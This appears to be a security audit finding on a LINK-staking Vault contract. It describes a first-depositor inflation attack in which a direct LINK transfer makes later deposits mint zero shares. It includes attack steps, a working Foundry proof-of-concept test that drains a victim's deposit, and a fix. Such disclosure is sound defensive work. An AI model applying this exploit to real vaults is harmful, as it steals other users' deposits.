joestakey

high

# deposit() can be broken by early minter

## Summary
Early users can grief future depositors by transferring LINK to the `VAULT` after calling `deposit()`, breaking the future minting of shares.

Future users will not receive any share for their LINK deposit if they do not deposit enough.

## Vulnerability Detail
`deposit()` uses `convertToShares` to calculate the amount of shares to be minted to the depositor.
`convertToShares` uses `totalSupply()`, ie the `LINK` balance of the `Vault`, which means an early minter can transfer a large amount of `LINK` to the `Vault` to increase `totalSupply`. Future deposits that are not large enough will result in the minting of `0` shares.

## Impact
The future deposits that are not large enough do not mint any shares. All the LINK that is transferred to the vault accrue to the early minters, meaning victim depositors will lose the `LINK` they deposited.
Note that because of `STARTING_SHARES_PER_LINK` being `1000`, this makes the attack only possible by transferring a large amount of `LINK`, but is nonetheless possible for large holders of `LINK`.

## Proof Of Concept

- Alice calls `deposit(1)`, depositing `1` unit of `LINK`. She receives `1000` shares.
- Alice transfers `1e18 LINK` to the Vault using the `ERC20.transfer()` method.
- Bob calls `deposit(1e15)`, depositing `1e15` unit of `LINK`.
- Because of Alice's transfer, `totalSupply = 1e18 + 1 > 1e15 * totalShares`. So Bob receives `0` shares.
- Alice calls `withdrawAll` to redeem her shares. Because she owns all the shares, she receives all the LINK in the `Vault`, including Bob's deposit.

Run this test - you can add it to `deposit.t.sol`:

```solidity
address Alice = address(1);
address Bob = address(2);
function testSmallWithdrawDrainVault() public {
    uint256 amountAlice = 1;
    uint256 amountTransferAlice = 1e18;
    uint256 amountBob = 1e15;
    vm.startPrank(Alice);
    link.mint(Alice, 10e18);
    link.mint(Bob, 10e18);
    
    link.approve(address(vault), 10e18);

    uint256 balanceAliceBefore = link.balanceOf(Alice);
    //Alice deposits 1 LINK
    vault.deposit(amountAlice);

    assertEq(vault.totalSupply(), amountAlice);
    assertEq(vault.balanceOf(Alice), amountAlice);
    assertEq(vault.shares(Alice), vault.STARTING_SHARES_PER_LINK());

    //Alice transfers 1e18 LINK to the Vault
    link.transfer(address(vault), amountTransferAlice);
    vm.stopPrank();
    // Bob deposits 1e15 LINK in the Vault
    vm.startPrank(Bob);
    link.approve(address(vault), 10e18);
    vault.deposit(amountBob);
    // Because the totalSupply() was 1e18 + 1 when Bob did the deposit, Bob did not receive any share
    assertEq(vault.totalSupply(), amountAlice + amountBob + amountTransferAlice);
    assertEq(vault.shares(Bob), 0);
    vm.stopPrank();

    // Now Alice redeems her shares
    vm.prank(Alice);
    vault.withdrawAll();
    // She receives the LINK deposited by Bob
    uint256 balanceAliceAfter = link.balanceOf(Alice);
    assertEq(balanceAliceAfter - balanceAliceBefore, amountBob);
}
```

## Code Snippet
https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L135-L136

## Tool used
Manual Review, Foundry

## Recommendation
In `deposit()`, ensure the number of shares to be minted is non-zero:

```diff
135:         uint256 newShares = convertToShares(_amount);
+            require(newShares != 0, "No shares minted");
136:         _mintShares(msg.sender, newShares);
137: 
138:         IERC20(LINK).transferFrom(msg.sender, address(this), _amount);
```
